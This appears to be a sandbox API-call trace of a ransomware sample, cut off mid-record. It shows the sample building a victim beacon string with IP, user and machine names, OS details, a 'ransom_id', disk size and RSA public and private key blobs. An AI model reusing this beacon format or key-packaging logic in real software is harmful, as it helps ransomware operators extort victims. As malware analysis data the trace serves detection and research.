(lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.801] lstrcatW (in: lpString1="", lpString2="action=call&" | out: lpString1="action=call&") returned="action=call&" [0163.801] lstrlenW (lpString="action=call&") returned 12 [0163.802] lstrcatW (in: lpString1="", lpString2="ip" | out: lpString1="ip") returned="ip" [0163.802] lstrcatW (in: lpString1="ip", lpString2="=" | out: lpString1="ip=") returned="ip=" [0163.802] lstrcatW (in: lpString1="ip=", lpString2="87.142.158.201" | out: lpString1="ip=87.142.158.201") returned="ip=87.142.158.201" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201", lpString2="&" | out: lpString1="ip=87.142.158.201&") returned="ip=87.142.158.201&" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&", lpString2="pc_user" | out: lpString1="ip=87.142.158.201&pc_user") returned="ip=87.142.158.201&pc_user" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=") returned="ip=87.142.158.201&pc_user=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=", lpString2="CIiHmnxMn6Ps" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&", lpString2="pc_name" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=", lpString2="LHNIWSJ" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&", lpString2="pc_group" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=", lpString2="WORKGROUP" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&", lpString2="pc_lang" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=", lpString2="en-US" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&", lpString2="pc_keyb" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=", lpString2="0" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&", lpString2="os_major" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=", lpString2="Windows 10 Pro" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&", lpString2="os_bit" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=", lpString2="x64" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&" [0163.802] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x8b0000 [0163.802] wsprintfW (in: param_1=0x8b0000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&", lpString2="ransom_id" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def" [0163.802] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&" [0163.802] VirtualFree (lpAddress=0x8b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0163.803] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&", lpString2="hdd" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd" [0163.803] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=" [0163.803] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=", lpString2="C:FIXED_549227327488/17639772160" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160" [0163.803] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&" [0163.803] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&") returned 197 [0163.803] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160", lpString2="&pub_key=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=" [0163.803] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=") returned 205 [0163.803] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x8a0000, cbMultiByte=-1, lpWideCharStr=0x3d01b2, cchWideChar=368 | out: lpWideCharStr="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 0 [0163.803] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G", lpString2="&priv_key=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=" [0163.803] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=") returned 583 [0163.803] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjp